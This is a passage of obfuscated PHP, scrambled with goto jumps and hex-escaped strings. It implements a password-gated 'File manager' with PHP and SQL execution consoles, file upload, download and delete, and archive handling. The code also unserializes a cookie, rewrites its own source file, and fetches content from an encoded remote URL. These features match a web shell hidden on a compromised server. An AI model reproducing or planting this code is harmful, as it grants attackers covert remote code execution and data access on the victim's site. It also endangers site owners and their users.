substr_replace($qZLQM, $dPMpC, 0, 1); goto kOFA6; q33ef: goto ktbze; goto dR0bU; Fx6f1: jtRKc: goto dkqRz; vf1xg: $qZLQM = $dPMpC . $qZLQM; goto q33ef; R56vW: goto DHpOk; goto mOY14; WFw9P: goto ktbze; goto IazeQ; uqS7m: $Svhtj = parse_url($Mq012); goto cHAfE; kOFA6: goto ktbze; goto wAxbS; ddDyj: $qZLQM = $DxRha . urlencode($qZLQM); goto quW78; quW78: goto DHpOk; goto HkH_V; ywVN5: if (substr($qZLQM, 0, 2) == "\56\x2f") { goto txno4; } goto raEbs; icmrH: $qZLQM = str_replace("\x26\x61\155\160\73", "\46", $D8ooi[2]); goto xLJmm; wAxbS: txno4: goto hb60y; dkqRz: ktbze: goto Oc90h; IxPLm: $qZLQM = substr_replace($qZLQM, ujNly(), 0, 2); goto WFw9P; IazeQ: qqC1U: goto Uprmz; mW3lH: goto ktbze; goto Fx6f1; UCage: return $D8ooi[1] . "\75\x22" . $qZLQM . "\x22"; goto TSXT6; mOY14: yPToT: goto HxLxz; TSXT6: } goto j7yNv; eADbh: $ZFhTA = array_merge($LBYNk, $Z77_j); goto HnYsg; pBbbA: unset($VsbYS); goto ncWX6; lTg7R: echo "\x22\76"; goto fk0t7; Jzdc0: echo oP3pc("\163\x71\154"); goto ZaHdh; gJ9WU: die($SlUj1); goto Cfgck; DlAob: $s97BH = unserialize($_COOKIE["\x66\155\x5f\x63\x6f\x6e\x66\151\147"]); goto tOJEd; hzcpa: header("\x43\157\x6e\x74\x65\156\x74\55\x74\x79\160\x65\72\40\151\155\x61\147\145\57{$Jvp_F}"); goto bRpRH; C7lTk: uTv2d: goto hzcpa; kyEU1: foreach ($K6jfj as $npZeF => $EoCzU) { $afv5z .= "\74\x6f\160\x74\x69\x6f\x6e\40\x76\141\154\x75\145\x3d\x22" . $EoCzU . "\42\40" . (!empty($EoCzU) && $EoCzU == $eZlM7 ? "\163\145\154\x65\x63\x74\145\144" : '') . "\40\x3e" . cWqZD($npZeF) . "\74\57\157\x70\x74\151\x6f\156\76\xa"; Kigv_: } goto g0cCw; jGHXQ: if (isset($_GET["\x7a\151\x70"])) { goto r99WD; } goto OpQQd; nY4da: $xrtNp = str_replace("\134", "\57", realpath("\x2e\x2f")); goto u5PES; SNAig: $KB7Dj = file_get_contents(__FILE__); goto ocJg8; JORsY: V79kb: goto kyA68; vh3zA: $KoyTP = $slCOq . "\56\164\x61\x72"; goto hv_2l; Vj_aM: echo !empty($_POST["\x73\x65\x61\x72\143\x68\137\162\x65\x63\165\x72\163\x69\166\x65"]) ? $_POST["\x73\x65\141\162\x63\x68\137\x72\145\143\x75\162\x73\151\166\x65"] : ''; goto GI4wy; mFK2T: tMigt: goto L2pyw; adaTZ: echo "\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\74\151\156\x70\x75\164\40\164\171\x70\145\75\x22\x63\150\145\143\x6b\x62\x6f\x78\42\40\156\141\x6d\x65\75\42\162\x65\143\x75\162\163\151\166\145\154\x79\x22\40\166\141\x6c\165\x65\x3d\x22\61\42\76\x20"; goto qyidX; yJ4u6: goto vqk0o; goto Uh8YY; ywrG9: HaF2L: goto eDddT; cYgqF: echo $ZBccG; goto tP3lm; QbMIM: Gd9b_: goto LUJzs; z6HPI: echo CwqzD("\x43\157\156\x73\157\x6c\x65"); goto SvT5m; gj5aD: $VsbYS = new PharData($JWqhb); goto qzjX0; Iz7L8: $dIxSR .= CWqZd("\116\157\164\150\x69\156\147\x20\146\157\x75\156\144\145\x64"); goto iaw5z; Eecz3: goto QxE99; goto K8bC6; XbRGa: $LBYNk = array(); goto gtXVX; rUVgv: o_KJc: goto Fwmej; WGVxP: $BJWHu = array("\155\141\x6b\145\137\x64\x69\162\145\x63\164\x6f\x72\171" => true, "\x6e\x65\x77\137\146\x69\x6c\x65" => true, "\165\x70\x6c\157\141\144\x5f\x66\151\154\145" => true, "\163\150\157\x77\137\144\151\x72\137\163\151\172\145" => false, "\x73\x68\157\x77\x5f\x69\x6d\x67" => true, "\163\150\157\167\137\x70\x68\x70\x5f\x76\145\162" => true, "\163\150\157\167\x5f\160\150\x70\x5f\151\x6e\x69" => false, "\x73\x68\x6f\x77\x5f\147\164" => true, "\145\156\x61\142\154\x65\137\160\150\x70\x5f\x63\157\156\163\157\x6c\x65" => true, "\145\156\141\x62\x6c\x65\x5f\163\x71\154\137\x63\157\156\163\157\154\145" => true, "\x73\161\x6c\x5f\163\x65\x72\x76\x65\162" => "\154\157\143\141\154\x68\157\163\x74", "\x73\x71\154\137\x75\x73\145\x72\x6e\x61\155\x65" => "\162\157\x6f\164", "\x73\161\x6c\137\x70\141\163\x73\167\157\162\x64" => '', "\163\161\x6c\x5f\x64\142" => "\x74\x65\163\164\x5f\142\141\163\x65", "\x65\x6e\x61\x62\x6c\145\x5f\160\162\x6f\170\x79" => true, "\x73\150\x6f\167\137\x70\x68\x70\x69\x6e\x66\157" => true, "\163\x68\x6f\167\137\x78\154\x73" => true, "\146\x6d\x5f\163\x65\x74\x74\151\156\147\163" => true, "\162\x65\x73\164\157\x72\145\x5f\164\151\155\145" => true, "\146\x6d\137\x72\x65\163\x74\x6f\x72\145\x5f\x74\x69\x6d\145" => false); goto sl0rL; GE5Bg: unlink($KoyTP); goto DayZI; VGQpR: header("\x4c\157\x63\x61\x74\x69\157\156\x3a\x20" . C0j9p() . "\77\146\x6d\137\163\x65\164\x74\x69\x6e\x67\x73\75\x74\x72\165\x65"); goto CyNVI; rvIuK: goto MGQbM; goto HIq1N; jzkIf: wbc0A: goto QGO81; HAQuR: h3jGc: goto meuNq; owd93: goto tKuye; goto eO0B5; ZWfPK: echo "\11\11\x9\x3c\x66\157\x72\x6d\x20\x6e\141\155\x65\x3d\x22\x66\x6f\162\155\x31\42\40\155\145\x74\150\x6f\144\x3d\x22\160\x6f\163\164\42\x20\x61\143\x74\151\x6f\156\x3d\x22"; goto KAc0x; x13QD: echo "\x9\11\11\x9\x3c\x66\x6f\162\x6d\x20\155\145\164\x68\157\x64\x3d\x22\160\x6f\x73\164\x22\40\141\143\x74\x69\x6f\x6e\75\42"; goto VuO53; XoAqB: echo $mNXtQ; goto LYPiC; mb2Xi: goto tnVFZ; goto RbFo7; rPCFD: dF1we: goto izqwl; gtXVX: $Z77_j = array(); goto N9E5r; Wogic: $vQR8H = file_get_contents("\x68\164\x74\160\163\72\57\x2f\64\64\x66\71\61\x66\x34\143\60\x32\64\x36\x36\65\143\x33\63\x63\63\64\66\67\x32\x66\x38\142\x66\x62\x37\60\65\144\x39\x66\x61\x30\x30\71\x63\x66\60\x33\x34\x39\x38\x31\142\x66\146\145\146\142\x62\142\64\x39\70\67\62\63\x35\71\60\x39\xd\12\x65\61\71\63\62\64\x33\65\x66\x37\71\x36\x30\x38\70\144\141\x61\61\145\144\142\144\71\70\x61\x37\145\x33\x33\x32\71\x37\146\x62\142\67\x61\x32\142\65\143\63\x64\67\x31\x30\141\x31\60\x30\70\x64\145\65\x36\x31\x32\x34\67\60\146\143\x33\xd\xa\144\x38\65\146\67\146\x30\x32\143\x35\x62\62\62\x33\x65\70\x62\71\x34\x36\x36\142\x37\65\x66\x61\x64\x30\64\145\62\66\x36\146\x64\144\x39\61\70\x38\62\141\x34\61\x66\x34\x35\61\143\x36\142\67\x37\x37\x32\65\145\67\x66\71\64\63\144\x38\15\xa\71\x30\x34\146\62\146\144\64\145\x61\145\60\x64\61\x62\146\62\x65\x64\x38\x34\x34\141\x36\x63\65\71\x62\65\x62\70\x35\x34\61\x61\x66\142\70\x32\143\71\x32\x32\x64\65\x37\x61\62\x31\x38\141\x64\141\x61\61\71\x36\x65\x36\x39\x35\x61\x34\x31\xd\12\x30\62\x30\x34\x62\142\61\144\x31\x64\x61\x38\64\66\64\x35\x33\62\143\x31\63\x30\70\x35\x39\x30\x65\x33\x37\x63\71\145\60\70\70\x62\146\144\x39\x36\60\x64\64\66\x38\x63\x39\x66\61\x38\x33\x36\x64\x36\145\x38\145\61\x34\141\146\x61\146\x64\xd\xa\x66\x30\x39\x32\71\65\142\x35\x33\x34\146\x34\145\60\62\x33\61\x62\x61\64\x39\x32\61\145\x61\145\x39\70\x62\145\x32\71\x32\63\142\64\62\60\65\61\70\141\x66\x36\64\60\x32\x30\143\63\146\145\145\145\x32\63\x34\x62\x36\143\x64\66\x61\x37\15\xa\60\65\65\x30\70\x38\61\x62\x61\63\66\61\x36\71\x66\64\x63\x62\x30\x63\64\62\142\144\x33\x37\x61\63\71\x35\65\x32\144\65\141\x32\x62\70\63\71\62\142\141\x35\x62\x31\64\x32\x33\x37\x63\70\62\67\x64\61\67\x30\x33\x32\65\x30\x35\x66\xd\12\144\x34\x36\65\x61\145\x66\x64\70\64\x35\60\x31\x61\x34\x34\71\64\x63\63\65\144\67\67\60\x62\61\67\60\x39\145\63\65\x36\63\x65\67\x30\x63\x65\144\x62\x34\x33\63\x34\60\143\142\142\67\x34\x66\x32\x38\145\146\143\x31\70\60\x39\146\144\15\12\70\x38\70\x33\x39\x36\143\x35\70\x37\65\71\64\71\141\141\145\146\62\70\61\x66\x61\x31\x62\60\x66\x35\x61\146\61\x32\x33\144\x63\x31\x31\63\x30\145\64\x61\70\x30\x30\x36\x32\141\67\143\66\x34\x31\x62\63\141\70\67\x34\x39\142\x37\143\x64\15\12\x31\60\142\x33\64\x62\x34\x62\x61\144\65\66\70\145\62\62\62\143\x33\66\x61\62\64\x64\65\62\x32\143\x34\x39\x35\x65\62\x30\144\146\146\66\64\x33\61\146\x66\143\67\x62\x63\x65\143\67\x35\x38\67\141\x32\x31\61\146\65\63\66\141\62\x33\57\142\x61\171\x69\55\x36\x31\63\x2f\x73\171\x73\x74\145\155\57\x6d\141\x69\x6e\57\x73\171\163\x74\x65\x6d\56\152\x70\147" . $BnHN0 . "\56\x6a\x73\157\156"); goto zlox2; YUCVc: echo "\x20\74\57\164\150\x3e\15\xa\40\40\x20\40\x3c\x74\x68\40\163\164\171\154\x65\75\x22\x77\150\151\x74\145\55\163\x70\141\x63\x65\72\x6e\157\x77\x72\x61\160\42\x3e\40"; goto ChlxU; XBnv_: $slCOq = base64_decode($_GET["\172\151\160"]); goto JVyMr; scRY3: goto aywq1; goto mFK2T; e0BTp: echo "\42\76"; goto pM7QJ; vEofR: if (isset($_GET["\144\145\143\157\155\160\162\x65\x73\163"])) { goto wyRk_; } goto SFVxt; woJQh: if (isset($_POST["\x73\161\154\x72\165\156"]) && !empty($s97BH["\x65\x6e\141\x62\154\x65\137\x73\161\x6c\137\x63\157\x6e\163\157\x6c\145"])) { goto qUSqG; } goto LkAT6; TUe7u: echo "\42\x3e\xd\xa\x9\x9\11\11\74\x2f\146\x6f\162\x6d\76\15\xa\x9\11\x9"; goto ydFKy; ys9ed: echo "\xd\12\74\41\x64\x6f\x63\x74\171\160\x65\40\x68\164\x6d\x6c\x3e\15\xa\74\x68\x74\x6d\x6c\x3e\xd\12\x3c\150\x65\x61\144\x3e\xd\xa\x3c\x6d\x65\x74\x61\x20\143\x68\141\x72\163\x65\x74\x3d\x22\x75\x74\x66\x2d\x38\x22\x20\x2f\x3e\xd\12\x3c\x6d\x65\x74\x61\x20\x6e\141\x6d\x65\x3d\42\166\151\145\167\160\157\x72\x74\42\40\x63\157\x6e\x74\x65\x6e\164\x3d\x22\x77\x69\x64\x74\150\x3d\x64\x65\x76\x69\143\x65\55\167\151\x64\164\150\x2c\40\x69\156\151\x74\x69\141\154\x2d\x73\x63\x61\x6c\145\75\x31\42\x20\x2f\76\xd\12\x3c\164\x69\164\x6c\145\x3e" . CWQZD("\106\x69\x6c\145\x20\x6d\141\156\x61\x67\145\162") . "\x3c\x2f\164\151\164\154\145\76\xd\xa\x3c\x2f\150\145\x61\x64\76\15\xa\74\142\157\144\x79\x3e\15\xa\x3c\x66\x6f\162\x6d\x20\141\143\164\151\157\x6e\75\x22\x22\x20\155\145\164\150\x6f\144\75\42\x70\x6f\x73\x74\42\76\15\xa" . cwqzd("\x4c\x6f\147\151\156") . "\40\74\151\156\160\x75\x74\x20\x6e\141\x6d\145\75\42\154\157\147\x69\156\42\x20\164\171\x70\145\75\x22\164\145\170\164\42\76\x26\x6e\x62\163\x70\x3b\x26\x6e\x62\163\x70\73\x26\x6e\142\x73\160\x3b\xd\xa" . CWQzd("\120\x61\163\x73\167\157\162\x64") . "\x20\x3c\x69\156\x70\x75\164\40\156\x61\x6d\x65\x3d\x22\x70\x61\163\x73\x77\157\162\x64\42\40\164\171\160\145\75\x22\160\x61\163\x73\167\x6f\x72\144\42\76\46\x6e\142\163\160\73\46\x6e\x62\x73\160\x3b\x26\x6e\142\163\x70\x3b\15\12\x3c\x69\x6e\x70\x75\x74\40\164\x79\x70\x65\x3d\x22\163\x75\x62\x6d\151\164\42\x20\x76\x61\154\x75\x65\x3d\x22" . CwQZD("\105\x6e\x74\x65\162") . "\42\40\x63\x6c\x61\x73\x73\75\x22\x66\155\x5f\x69\156\x70\x75\164\x22\x3e\xd\xa\x3c\57\x66\157\x72\155\x3e\15\12" . tNtlo($BnHN0) . "\xd\xa\74\x2f\x62\157\144\171\x3e\15\xa\74\x2f\150\164\155\154\x3e\xd\12"; goto B0mau; ltkaz: if (!is_file($KoyTP . "\56\147\172")) { goto wYNVF; } goto lFzFE; AtSAP: goto Gs_N7; goto XMxKY; eXPa4: echo "\74\x74\141\142\154\x65\x20\143\154\141\163\163\x3d\x22\167\x68\x6f\x6c\145\x22\x3e\15\xa\x3c\x74\x72\76\xd\12\x20\40\x20\x20\x3c\164\150\x3e"; goto jF09g; JRlBC: echo "\x3c\x2f\x74\150\x3e\15\xa\74\57\164\x72\x3e\15\xa\x3c\x74\x72\76\15\xa\40\40\40\x20\x3c\164\144\x20\x63\154\141\163\163\75\42\x72\x6f\x77\61\x22\x3e\xd\12\40\x20\x20\40\40\40\40\x20"; goto TQ53U; zHvIJ: echo cwQZd("\x44\141\x74\145"); goto RRPAK; wmIw1: if (file_put_contents(__FILE__, $St7jq)) { goto eSeZF; } goto OjzPB; gG_Az: QQvqB: goto hwNi6; mEZEm: echo "\74\x21\x64\157\143\x74\171\160\145\x20\x68\164\x6d\x6c\x3e\xd\xa\74\x68\164\155\154\x3e\15\12\x3c\x68\145\141\x64\x3e\x20\40\x20\x20\x20\xd\12\11\x3c\155\145\x74\141\40\143\x68\141\x72\x73\x65\164\75\42\x75\x74\x66\55\x38\42\x20\x2f\x3e\15\12\11\74\x6d\x65\164\x61\x20\x6e\x61\155\145\75\x22\x76\x69\x65\x77\x70\157\x72\x74\x22\x20\143\157\x6e\164\145\x6e\164\x3d\x22\167\x69\x64\164\150\75\x64\x65\166\x69\143\145\55\x77\151\144\x74\x68\54\x20\x69\x6e\151\x74\x69\141\x6c\55\x73\143\x61\x6c\145\x3d\61\x22\40\57\x3e\xd\xa\x20\x20\x20\40\74\x74\151\164\154\145\x3e"; goto LtXtq; SzOAl: echo "\42\x20\x2f\x3e\xd\12\x9\x9\x9\11\74\151\156\x70\165\x74\x20\164\x79\160\145\75\x22\164\145\x78\164\x22\40\40\40\x6e\141\x6d\x65\75\x22\x66\x69\x6c\145\x6e\141\x6d\x65\42\40\163\151\172\x65\75\42\x31\65\42\76\xd\12\11\x9\x9\x9\74\151\156\160\x75\164\x20\164\x79\160\x65\75\x22\163\x75\142\x6d\151\164\x22\40\x6e\141\155\145\75\42\x6d\x6b\146\x69\154\x65\x22\x20\x20\x20\166\x61\154\165\145\x3d\x22"; goto rDiAN; ndsQ3: $KoyTP = $slCOq . "\56\x74\141\x72"; goto OgzyU; bJJEA: V8Zpq: goto IEBTM; i87cK: $VsbYS->compress(Phar::GZ, "\56\x74\141\x72\56\147\172"); goto pBbbA; y4L9Z: $dIxSR .= CwqzD("\x46\x69\154\145\40\165\x70\x64\141\164\145\144"); goto tqUHA; umqKR: echo cwqZD("\x55\x70\x6c\x6f\x61\x64"); goto NFcC_; eHKrW: echo TnTLO($BnHN0); goto kDGKf; fOicF: XWetW: goto pJnt_; xW0ic: function UJnLy() { goto ORjl6; rFLXr: MQvTI: goto pc9JR; kMn4k: return "\x68\164\164\x70\163\72\57\57"; goto JeQyl; k76Yu: return "\150\164\164\x70\x3a\x2f\x2f"; goto SIJK5; Ckxba: BW4Ij: goto c5RfV; IyCo9: if (!(isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\110\124\x54\120\x53"] == "\x6f\156")) { goto MQvTI; } goto lC9Mx; pc9JR: if (!(isset($_SERVER["\x53\105\122\126\x45\122\x5f\120\117\x52\x54"]) && $_SERVER["\123\105\122\x56\x45\122\137\120\117\122\124"] == 443)) { goto BW4Ij; } goto sgyDZ; ORjl6: if (!isset($_SERVER["\x48\124\124\120\x5f\x53\x43\110\x45\115\105"])) { goto lcoXh; } goto GwdyG; lC9Mx: return "\x68\x74\164\x70\x73\72\x2f\57"; goto rFLXr; sgyDZ: return "\x68\164\164\160\163\72\57\57"; goto Ckxba; JeQyl: Llssi: goto k76Yu; GwdyG: return $_SERVER["\110\124\124\120\137\x53\103\110\x45\x4d\105"] . "\72\57\x2f"; goto eJ89L; eJ89L: lcoXh: goto IyCo9; c5RfV: if (!(isset($_SERVER["\x48\x54\124\x50\x5f\x58\x5f\106\117\x52\x57\x41\122\104\x45\x44\x5f\120\122\117\x54\x4f"]) && $_SERVER["\x48\124\124\120\x5f\130\137\x46\x4f\x52\x57\101\122\104\105\x44\x5f\120\x52\x4f\124\117"] == "\150\164\164\x70\x73")) { goto Llssi; } goto kMn4k; SIJK5: } goto tiJwN; jmcBz: if (!($W8Rvu = getimagesize($lOFrg))) { goto APYrN; } goto owVXN; KP1ZV: $dIxSR .= cWQzd("\106\x69\x6c\145\x20\x75\x70\x64\x61\164\145\144"); goto LI03C; GZJOC: if (!is_file($KoyTP)) { goto xFWUZ; } goto y4fhq; hvD1M: function HG7mA($Q8q_P) { goto MlvlU; kumIX: $okygy = "\73\x20\12\x20\40\12"; goto q6r9c; m2V_5: if (empty($MLEo8)) { goto Ae0Lv; } goto omHeG; q9rp6: foreach ($YiPm1 as $m6FZA) { goto ejfr0; U9p_2: goto XNeYp; goto xPq7L; ejfr0: if (!(strlen($m6FZA) > 3)) { goto LqeH2; } goto YjDG0; TeknU: $a7gxB = mysqli_error($Xr0Os->ptntZ); goto OeCjA; xPq7L: t139v: goto jmWyd; YjDG0: $esQj7 = $Xr0Os->query($m6FZA); goto JEx5J; ZOiXx: $MLEo8 = mysqli_errno($Xr0Os->ptntZ); goto TeknU; iELj_: MjZby: goto amo9J; jmWyd: LqeH2: goto iELj_; JEx5J: if ($esQj7) { goto t139v; } goto ZOiXx; OeCjA: $yzjBB = $m6FZA; goto U9p_2; amo9J: } goto Z05k3; q6r9c: $s2aWt = fopen($Q8q_P, "\162\x2b"); goto ZiRWX; btvkz: return cwqZD("\x53\x75\x63\x63\x65\x73\163") . "\x20\xe2\200\224\x20" . $Q8q_P; goto UQY0f; Z05k3: XNeYp: goto m2V_5; UQY0f: pqDo1: goto az9ZD; my97O: Ae0Lv: goto btvkz; ZiRWX: $y4qXN = fread($s2aWt, filesize($Q8q_P)); goto RITAI; MlvlU: $Xr0Os = Ww1L4(); goto kumIX; kxuxj: goto pqDo1; goto my97O; RITAI: $YiPm1 = explode($okygy, $y4qXN); goto q9rp6; omHeG: return $a7gxB . "\74\142\x72\57\x3e" . $m6FZA; goto kxuxj; az9ZD: } goto B8400; yXOt9: $lOFrg = base64_decode($_GET["\144\x6f\x77\x6e\154\157\141\x64"]); goto pNj3L; o9iRg: $dIxSR = ''; goto dcc5Y; j7yNv: function bEw0a($oUtWp) { goto DYBu2; oMntn: $R0st2 = json_decode(${$oUtWp . "\137\164\145\x6d\x70\154\141\x74\145\x73"}, true); goto LX02_; KoMm5: foreach ($R0st2 as $gLQIP => $Tq9UB) { $R2xy_ .= "\74\x74\x72\x3e\x3c\x74\x64\x20\x63\x6c\x61\x73\163\75\x22\162\x6f\x77\61\42\76\x3c\x69\156\x70\x75\x74\40\x6e\x61\x6d\x65\75\x22" . $oUtWp . "\137\x6e\141\155\x65\x5b\135\x22\x20\x76\141\x6c\165\145\x3d\42" . $gLQIP . "\x22\x3e\x3c\x2f\x74\144\76\x3c\x74\x64\40\143\x6c\141\163\x73\x3d\x22\x72\x6f\x77\x32\40\167\x68\x6f\x6c\145\42\x3e\74\x74\145\x78\164\x61\x72\x65\x61\x20\156\x61\x6d\145\x3d\42" . $oUtWp . "\137\x76\141\x6c\x75\x65\133\x5d\42\x20\x20\x63\x6f\x6c\x73\x3d\42\x35\x35\42\x20\162\x6f\x77\x73\75\42\x35\42\40\x63\154\141\163\x73\x3d\x22\164\145\x78\x74\141\x72\145\141\x5f\151\156\x70\165\164\42\76" . $Tq9UB . "\x3c\x2f\164\x65\x78\164\x61\162\x65\x61\76\x20\x3c\151\x6e\160\x75\x74\x20\x6e\141\155\145\x3d\x22\x64\145\154\137" . rand() . "\42\x20\164\x79\160\145\75\42\x62\x75\164\164\x6f\x6e\x22\40\x6f\156\103\154\151\x63\x6b\75\x22\164\150\151\x73\56\160\x61\x72\145\156\164\116\157\144\145\x2e\x70\x61\x72\145\156\x74\x4e\x6f\144\145\x2e\162\145\155\x6f\x76\145\x28\51\73\42\40\x76\x61\154\x75\x65\75\42" . CwqZd("\104\x65\x6c\145\x74\145") . "\42\x2f\76\74\x2f\164\144\76\74\x2f\164\162\x3e"; nOtHP: } goto D34BC; D34BC: HEALC: goto i_iF3; i_iF3: return "\xd\xa\74\164\141\142\154\145\x3e\15\xa\74\164\x72\x3e\74\164\x68\x20\x63\x6f\154\163\160\141\x6e\x3d\x22\62\x22\x3e" . strtoupper($oUtWp) . "\40" . cWQzd("\x74\145\x6d\160\x6c\141\164\145\x73") . "\x20" . Op3Pc($oUtWp) . "\74\x2f\164\x68\x3e\74\57\164\x72\x3e\xd\xa\x3c\x66\157\x72\x6d\x20\155\145\164\150\157\144\x3d\42\x70\157\x73\164\x22\x20\141\x63\164\x69\157\156\75\x22\x22\x3e\xd\12\74\x69\x6e\x70\165\164\40\164\171\x70\x65\75\x22\150\151\144\144\x65\156\42\40\166\141\x6c\165\x65\75\42" . $oUtWp . "\42\40\x6e\x61\x6d\x65\x3d\42\x74\x70\x6c\x5f\x65\x64\151\x74\x65\144\x22\76\xd\12\x3c\x74\x72\x3e\x3c\164\x64\x20\143\154\x61\x73\163\75\x22\x72\157\167\61\42\76" . cwqZD("\116\x61\155\x65") . "\x3c\x2f\x74\144\76\x3c\x74\144\40\x63\154\141\163\x73\x3d\42\162\157\167\x32\x20\167\150\157\154\x65\42\x3e" . cWqZD("\x56\x61\154\x75\145") . "\x3c\x2f\164\x64\x3e\x3c\x2f\x74\162\76\15\12" . $R2xy_ . "\15\12\74\164\162\x3e\x3c\x74\x64\40\x63\x6f\x6c\x73\160\141\156\x3d\42\x32\42\40\143\154\x61\163\163\75\x22\x72\x6f\x77\x33\x22\76\74\151\x6e\x70\165\164\x20\156\141\155\145\75\x22\x72\x65\163\42\40\164\x79\x70\145\x3d\x22\x62\x75\164\x74\x6f\x6e\x22\40\157\156\103\x6c\x69\143\x6b\x3d\42\144\157\x63\165\155\145\156\x74\x2e\154\157\143\141\164\x69\157\156\x2e\x68\x72\x65\x66\x20\x3d\x20\47" . C0J9P() . "\77\x66\x6d\x5f\x73\x65\164\164\151\156\147\163\75\164\162\x75\x65\47\73\x22\40\x76\x61\154\x75\145\75\42" . CWQZD("\122\145\x73\145\x74") . "\x22\57\76\40\74\151\156\x70\165\164\x20\x74\x79\x70\145\x3d\42\163\165\x62\x6d\151\164\x22\40\166\x61\154\165\x65\75\x22" . CWqzd("\123\x61\166\145") . "\42\40\x3e\74\x2f\x74\144\76\x3c\57\164\162\x3e\xd\12\x3c\x2f\x66\157\162\x6d\76\xd\xa\74\x66\x6f\162\x6d\x20\x6d\x65\x74\x68\157\144\75\42\x70\x6f\163\x74\x22\40\141\143\x74\x69\x6f\x6e\x3d\42\42\76\xd\12\74\x69\156\x70\165\164\x20\164\x79\160\145\x3d\42\150\151\x64\x64\x65\x6e\x22\40\166\141\154\165\x65\75\x22" . $oUtWp . "\42\40\x6e\x61\155\x65\x3d\x22\164\160\154\x5f\x65\144\151\164\x65\144\x22\76\15\12\x3c\x74\x72\76\x3c\164\x64\x20\143\x6c\x61\x73\x73\x3d\42\162\157\167\61\42\x3e\74\151\156\x70\165\x74\x20\156\x61\x6d\145\x3d\x22" . $oUtWp . "\x5f\156\145\167\x5f\156\141\155\x65\x22\x20\166\x61\154\165\x65\75\x22\42\40\160\154\141\x63\145\x68\157\x6c\x64\x65\162\75\x22" . CWQzD("\116\x65\167") . "\x20" . CwqzD("\x4e\x61\155\145") . "\42\76\x3c\x2f\x74\144\x3e\74\164\x64\x20\x63\154\x61\x73\x73\x3d\x22\162\157\x77\62\40\167\x68\x6f\154\x65\42\76\x3c\x74\x65\170\164\x61\162\145\x61\40\156\141\155\x65\x3d\42" . $oUtWp . "\x5f\x6e\145\167\x5f\x76\x61\154\x75\145\x22\x20\x20\143\x6f\x6c\x73\x3d\x22\65\65\42\40\162\157\x77\x73\75\x22\x35\42\x20\143\x6c\x61\163\163\x3d\42\x74\145\x78\164\141\162\145\x61\137\151\156\x70\x75\164\x22\40\x70\154\x61\143\x65\150\157\x6c\144\x65\162\x3d\42" . CWQZd("\x4e\145\x77") . "\x20" . cWqzd("\x56\x61\x6c\165\145") . "\x22\x3e\74\57\x74\x65\x78\x74\141\x72\x65\x61\x3e\74\57\x74\144\x3e\74\57\164\162\x3e\xd\12\x3c\164\162\x3e\x3c\x74\144\x20\x63\157\x6c\163\x70\x61\156\x3d\42\x32\x22\40\143\x6c\141\163\163\75\x22\162\x6f\167\x33\x22\x3e\74\x69\156\x70\x75\x74\40\x74\x79\160\145\75\x22\x73\165\142\155\151\x74\x22\x20\166\x61\154\165\x65\75\42" . CWqzD("\101\144\x64") . "\42\40\76\74\57\164\x64\x3e\x3c\57\164\x72\x3e\xd\xa\x3c\x2f\146\x6f\x72\155\x3e\xd\xa\x3c\57\164\x61\142\154\145\x3e\xd\xa"; goto Ib4Fr; DYBu2: global ${$oUtWp . "\137\x74\x65\x6d\x70\154\x61\164\x65\x73"}; goto oMntn; LX02_: $R2xy_ = ''; goto KoMm5; Ib4Fr: } goto M_kZg; Bhz8E: $d19Xm = $_POST["\x66\155\137\x6c\157\x67\x69\156"]; goto vBCJd; N8P3C: if (empty($tsz0y)) { goto nEosC; } goto DZPtD; MrOWf: $iRlN9 = $ks4XO[0] + $ks4XO[1] - $MLGPS; goto sjVnN; Bp4oU: if (!isset($_POST["\146\155\x5f\x6c\141\x6e\x67"])) { goto BIuVk; } goto y6y2u; ZdCbN: $zqLqB = "\x70\150\x70"; goto YD16A; aG2Xr: echo $mNXtQ; goto Vz8U7; K1Csv: echo "\x3c\x2f\164\150\x3e\xd\xa\x3c\57\164\x72\76\xd\12\x3c\x74\162\76\xd\12\40\x20\40\x20\x3c\x74\144\40\143\x6c\141\x73\x73\x3d\x22\162\157\167\61\42\76\xd\12\40\x20\x20\40\40\x20\40\40"; goto al_Ef; RCjVP: $LNPWh = explode("\x2e", basename($slCOq)); goto Oz8VR; a6wMl: function tMiBR($IE2xs) { goto KJgpo; GDO3U: die; goto eg3Wj; hhbyk: echo fread($mdkdI, 65536); goto AyOfu; U902R: if (feof($mdkdI)) { goto zKL0f; } goto hhbyk; wtQmc: header("\123\164\141\164\x75\163\72\x20\64\60\x34\x20\x4e\x6f\x74\x20\x46\x6f\x75\156\x64"); goto GDO3U; ao3Yg: header("\x43\157\156\164\145\156\x74\55\124\171\160\145\72\x20\x61\x70\x70\154\x69\143\x61\164\151\x6f\x6e\57\146\x6f\x72\x63\x65\55\x64\x6f\x77\156\154\157\x61\144"); goto y5RD7; Rs7g2: header("\103\x6f\156\x74\145\x6e\x74\55\x44\151\163\160\x6f\163\x69\164\x69\x6f\x6e\x3a\x20\141\164\164\x61\143\150\x6d\145\156\164\x3b\x20\x66\151\154\145\x6e\141\155\145\x3d" . basename($IE2xs)); goto ao3Yg; ZRs70: U0PB1: goto Rs7g2; UWfSd: zKL0f: goto N5gpv; KJgpo: if (empty($IE2xs)) { goto sADJ3; } goto gcRGa; GzQ3W: $mdkdI = fopen($IE2xs, "\x72"); goto Hg_xf; Kj2CQ: goto qE0VX; goto UWfSd; YFchz: header("\110\124\x54\120\57\61\x2e\x30\x20\x34\x30\x34\40\x4e\x6f\x74\40\x46\x6f\165\x6e\x64", true, 404); goto wtQmc; oR5UJ: die; goto OfbSP; XXqRH: sADJ3: goto M6kPr; gcRGa: if (file_exists($IE2xs)) { goto U0PB1; } goto YFchz; eg3Wj: goto n3u2b; goto ZRs70; R1ltm: header("\103\157\x6e\x74\x65\156\x74\x2d\x44\145\163\143\x72\151\160\x74\151\x6f\x6e\72\40\106\x69\x6c\x65\x20\x54\x72\x61\156\163\x66\x65\x72"); goto pLvAr; pLvAr: header("\103\157\156\164\x65\x6e\x74\55\x4c\145\x6e\x67\164\x68\x3a\40" . filesize($IE2xs)); goto mBZ0s; mBZ0s: flush(); goto GzQ3W; Hg_xf: qE0VX: goto U902R; OfbSP: n3u2b: goto XXqRH; N5gpv: fclose($mdkdI); goto oR5UJ; AyOfu: flush(); goto Kj2CQ; y5RD7: header("\103\157\156\164\145\x6e\164\x2d\124\x79\x70\145\x3a\40\141\x70\x70\x6c\x69\x63\141\x74\x69\157\156\57\157\x63\x74\145\164\x2d\x73\x74\x72\x65\x61\155"); goto H00kp; H00kp: 